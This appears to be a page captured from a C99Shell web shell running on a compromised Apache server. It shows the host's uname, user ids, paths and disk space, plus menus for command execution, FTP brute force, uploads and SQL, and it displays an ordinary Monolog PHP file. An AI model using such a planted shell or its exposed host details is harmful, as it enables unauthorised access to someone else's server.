!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/monolog/monolog/src/Monolog/Handler/Curl/   drwxr-xr-x
Free 28.76 GB of 117.98 GB (24.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Util.php (1.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);

/*
 * This file is part of the Monolog package.
 *
 * (c) Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Monolog\Handler\Curl;

use 
CurlHandle;

/**
 * This class is marked as internal and it is not under the BC promise of the package.
 *
 * @internal
 */
final class Util
{
    
/** @var array<int> */
    
private static $retriableErrorCodes = [
        
CURLE_COULDNT_RESOLVE_HOST,
        
CURLE_COULDNT_CONNECT,
        
CURLE_HTTP_NOT_FOUND,
        
CURLE_READ_ERROR,
        
CURLE_OPERATION_TIMEOUTED,
        
CURLE_HTTP_POST_ERROR,
        
CURLE_SSL_CONNECT_ERROR,
    ];

    
/**
     * Executes a CURL request with optional retries and exception on failure
     *
     * @param  resource|CurlHandle $ch             curl handler
     * @param  int                 $retries
     * @param  bool                $closeAfterDone
     * @return bool|string         @see curl_exec
     */
    
public static function execute($chint $retries 5bool $closeAfterDone true)
    {
        while (
$retries--) {
            
$curlResponse curl_exec($ch);
            if (
$curlResponse === false) {
                
$curlErrno curl_errno($ch);

                if (
false === in_array($curlErrnoself::$retriableErrorCodestrue) || !$retries) {
                    
$curlError curl_error($ch);

                    if (
$closeAfterDone) {
                        
curl_close($ch);
                    }

                    throw new 
\RuntimeException(sprintf('Curl error (code %d): %s'$curlErrno$curlError));
                }

                continue;
            }

            if (
$closeAfterDone) {
                
curl_close($ch);
            }

            return 
$curlResponse;
        }

        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--